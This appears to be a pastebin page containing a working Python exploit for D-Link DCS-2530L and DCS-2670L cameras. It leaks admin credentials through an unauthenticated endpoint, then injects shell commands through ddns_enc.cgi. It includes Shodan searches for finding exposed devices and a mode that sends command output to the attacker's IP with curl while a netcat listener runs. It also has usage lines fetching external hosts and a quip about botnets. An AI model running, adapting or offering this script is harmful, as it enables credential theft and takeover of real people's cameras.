SHOW:
|
|
- or go back to the newest paste.
1 | ''' | |
2 | Usage: | |
3 | Copy the url straight from firefox. If you want to get a netcat listener you need netcat installed | |
4 | and the listening port specified within open obviously. | |
5 | ||
6 | Blind execution - python3 exploit.py http://1.2.3.4/ "curl http://pingb.in/p/xxxxxxxxxxxxxxxxxx" | |
7 | Netcat listener - python3 exploit.py http://1.2.3.4/ "cat /proc/cpuinfo" --listen | |
8 | ||
9 | Info: | |
10 | By chaining together an unauthenticated credential disclouse 0day in multiple | |
11 | Dlink DCS cameras with an authenticated command injection in ddns_enc.cgi - it | |
12 | is possible to gain RCE. | |
13 | ||
14 | Confirmed vulnerable: | |
15 | DCS-2530L, DCS-2670L | |
16 | https://www.shodan.io/search?query=DCS-2670L | |
17 | https://www.shodan.io/search?query=DCS-2530L | |
18 | ||
19 | Limitations: | |
20 | The length of the 'account' parameter is limited to 55 characters. Longer commands | |
21 | can be executed via piping characters with "echo -ne" to a .sh or downloading a .sh | |
22 | from another host. | |
23 | ||
24 | The payload will be executed every 5 seconds on the host while the payload in the account | |
25 | parameter is set. This exploit triies to auto terminate after 1 execution. Ajust timing if needed. | |
26 | ||
27 | Patch: | |
28 | Dlink has released an advisory for the DCS-2530L but no patch. Don't port forward the | |
29 | camera until one has been released. | |
30 | ||
31 | Don't be an ass. Don't brick other people's shit. I'm not responsible for anything lmfao - @dogonsecurity | |
32 | ''' | |
33 | ||
34 | import requests, sys, argparse, time, os | |
35 | from time import sleep | |
36 | from requests import get | |
37 | from urllib3.exceptions import InsecureRequestWarning | |
38 | ||
39 | def getcreds(host): | |
40 | try: | |
41 | r = requests.get(host + "/config/getuser?index=0", verify=False, timeout=5) | |
42 | data = r.text.split("\n") | |
43 | credentials = [] | |
44 | credentials.append(data[0].replace("name=", "").replace("\r", "")) | |
45 | credentials.append(data[1].replace("pass=", "").replace("\r", "")) | |
46 | return credentials | |
47 | except Exception as e: | |
48 | print(e) | |
49 | ||
50 | def execpayload(host, creds, payload): | |
51 | try: | |
52 | url = "/cgi-bin/ddns_enc.cgi?enable=1&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account=" | |
53 | endexec = "/cgi-bin/ddns_enc.cgi?enable=0&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account=aaaa" | |
54 | # DEBUG print(payload) | |
55 | if not args.listen: | |
56 | payload = "{};{};".format(url,payload) | |
57 | r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5) | |
58 | print("Sent payload... Waiting for execution.") | |
59 | sleep(4) | |
60 | r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5) | |
61 | print("Blind exploit complete. Did it work :)?") | |
62 | else: | |
63 | ourip = get('https://api.ipify.org').text | |
64 | ourport = 3 #Change if you need to | |
65 | payload = "{};{} >a;curl -XPUT {}:{} -T a;".format(url,payload,ourip,ourport) | |
66 | # DEBUG print(payload) | |
67 | r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5) | |
68 | print("Sent payload... Waiting for execution.") | |
69 | os.system("sudo nc -lvp 3 &") | |
70 | sleep(7) | |
71 | r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5) | |
72 | os.system("sudo pkill -f nc") | |
73 | print("Listening exploit complete.") | |
74 | except Exception as e: | |
75 | print(e) | |
76 | ||
77 | print("Hoho is the future of botnet!!11!!") | |
78 | parser = argparse.ArgumentParser() | |
79 | parser.add_argument("target", help="target",type=str) | |
80 | parser.add_argument("payload", help="payload",type=str) | |
81 | parser.add_argument("--listen", action='store_true') | |
82 | args = parser.parse_args() | |
83 | ||
84 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | |
85 | creds = getcreds(args.target) | |
86 | print("Got credentials: " + str(creds)) | |
87 | execpayload(args.target, creds, args.payload) |